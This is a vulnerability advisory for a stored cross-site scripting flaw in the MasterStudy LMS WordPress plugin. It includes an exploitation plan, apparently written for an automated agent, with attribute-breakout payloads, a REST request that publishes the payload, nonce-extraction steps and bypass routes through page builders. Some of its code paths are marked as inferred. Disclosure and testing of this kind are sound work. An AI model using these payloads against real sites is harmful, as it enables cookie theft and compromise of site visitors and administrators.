MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'stm_lms_courses_grid_display' Shortcode
Description
The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'stm_lms_courses_grid_display' shortcode in all versions up to, and including, 3.7.11 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.7.11Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0559 ## 1. Vulnerability Summary The **MasterStudy LMS** plugin (<= 3.7.11) contains a stored cross-site scripting (XSS) vulnerability within the `stm_lms_courses_grid_display` shortcode. The vulnerability exists because the plugin fails to sufficiently sanit…
Show full research plan
Exploitation Research Plan - CVE-2026-0559
1. Vulnerability Summary
The MasterStudy LMS plugin (<= 3.7.11) contains a stored cross-site scripting (XSS) vulnerability within the stm_lms_courses_grid_display shortcode. The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-provided attributes before rendering them in the HTML output. An attacker with Contributor-level permissions (who can create or edit posts) can embed a malicious shortcode that executes arbitrary JavaScript in the context of any user (including Administrators) who views the affected page.
2. Attack Vector Analysis
- Shortcode:
[stm_lms_courses_grid_display] - Vulnerable Parameters: Shortcode attributes such as
image_size,per_row, orclass(inferred based on standard MasterStudy grid parameters). - Authentication: Authenticated (Contributor+).
- Preconditions: The attacker must have the capability to edit a post/page or use a page builder (like Elementor or WPBakery) that processes MasterStudy shortcodes.
3. Code Flow
- Registration: The plugin registers the shortcode in the initialization phase, likely within
includes/shortcodes/courses_grid.phpor via a central shortcode manager:add_shortcode('stm_lms_courses_grid_display', array($this, 'stm_lms_courses_grid_display')); - Processing: When a post containing the shortcode is rendered, the callback function (e.g.,
stm_lms_courses_grid_display($atts)) is invoked. - Extraction: Attributes are extracted via
shortcode_atts(). - Template Rendering: The plugin often passes these
$attsto a template file usingstm_lms_get_template(). - Sink: Inside the template (e.g.,
templates/courses/grid.php), one or more attributes are echoed directly into an HTML attribute or tag without usingesc_attr()oresc_html().- Example Vulnerable Sink (Inferred):
echo '<div class="stm_lms_courses_grid ' . $atts['class'] . '">';
- Example Vulnerable Sink (Inferred):
4. Nonce Acquisition Strategy
Since the primary attack vector is creating or updating a post as a Contributor, the standard WordPress REST API or post.php flow is used.
- For AJAX/REST interaction: WordPress requires a
_wpnonce. - Strategy:
- Use
browser_navigateto go to/wp-admin/post-new.php. - Use
browser_evalto extract the REST nonce from the WordPress settings object:browser_eval("wpApiSettings.nonce") - Alternatively, for standard form submissions, extract the
_wpnoncefrom the hidden input field in the post editor.
- Use
5. Exploitation Strategy
Step 1: Authentication
Login as a Contributor user using the http_request tool to obtain session cookies.
Step 2: Payload Construction
Construct a shortcode with a breaking attribute.
- Payload 1 (Attribute Breakout):
[stm_lms_courses_grid_display image_size='"><script>alert(document.domain)</script>'] - Payload 2 (Class Injection):
[stm_lms_courses_grid_display class='"><img src=x onerror=alert(1)>']
Step 3: Injection
Submit an HTTP POST request to create a new post or update an existing one.
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [REST_NONCE]
- Body:
{ "title": "Course Directory", "content": "[stm_lms_courses_grid_display image_size='\" ontoggle=alert(1) open \"' per_row='1']", "status": "publish" }
Step 4: Execution
The payload will execute when any user navigates to the URL of the newly created post.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Configuration: Ensure "MasterStudy LMS" is active. No specific LMS settings are required, as the shortcode logic is standard.
- Post Creation (Alternative via CLI):
wp post create --post_type=post --post_status=publish --post_content='[stm_lms_courses_grid_display image_size="\" onmouseover=\"alert(document.cookie)"]' --post_title='Test Course Page' --user=attacker
7. Expected Results
- The HTTP response from the post creation should be
201 Created. - Upon visiting the post page, the HTML source should contain the unescaped payload.
- Example:
<div class="...-image" style="width: " onmouseover="alert(document.cookie)">
- Example:
- A JavaScript
alertor console log should trigger.
8. Verification Steps
- Check Database:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Course Directory'"
Verify the shortcode is stored exactly as sent. - Verify Output:
Usehttp_requestto GET the post URL and check if the payload is escaped.grep -P 'image_size="[^"]*"'
If you see", it is patched. If you see raw", it is vulnerable. - Automated Browser Check:
Usebrowser_navigateto the post URL and check for an alert dialog.
9. Alternative Approaches
- Elementor/WPBakery Integration: MasterStudy LMS includes modules for these builders. If the standard shortcode is filtered, try injecting the payload via the Elementor widget properties for "Courses Grid", which usually map directly to these shortcode attributes.
- Template Redirects: If the shortcode is rendered via an AJAX action (e.g.,
action: 'stm_lms_load_content'), capture the nonce for that specific action from the localizedstm_lms_commonorstm_lms_courses_gridJS objects.browser_eval("window.stm_lms_common?.nonce")(inferred variable name).
Summary
The MasterStudy LMS WordPress plugin is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the 'stm_lms_courses_grid_display' shortcode in versions up to and including 3.7.11. This occurs because the plugin fails to sanitize or escape user-supplied attributes before rendering them in the HTML output, allowing attackers to execute arbitrary JavaScript in the context of site visitors.
Exploit Outline
1. Log in to the WordPress dashboard as a user with Contributor-level permissions or higher. 2. Create a new post or edit an existing post. 3. Insert the 'stm_lms_courses_grid_display' shortcode using a malicious attribute payload designed to break out of an HTML attribute or tag. For example: [stm_lms_courses_grid_display image_size='" onmouseover="alert(document.cookie)"'] or [stm_lms_courses_grid_display class='"><script>alert(1)</script>']. 4. Save the post as a draft or submit it for review (Contributor) or publish it (Author+). 5. Navigate to the post's URL. The injected JavaScript will execute whenever a user, including an administrator, views the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.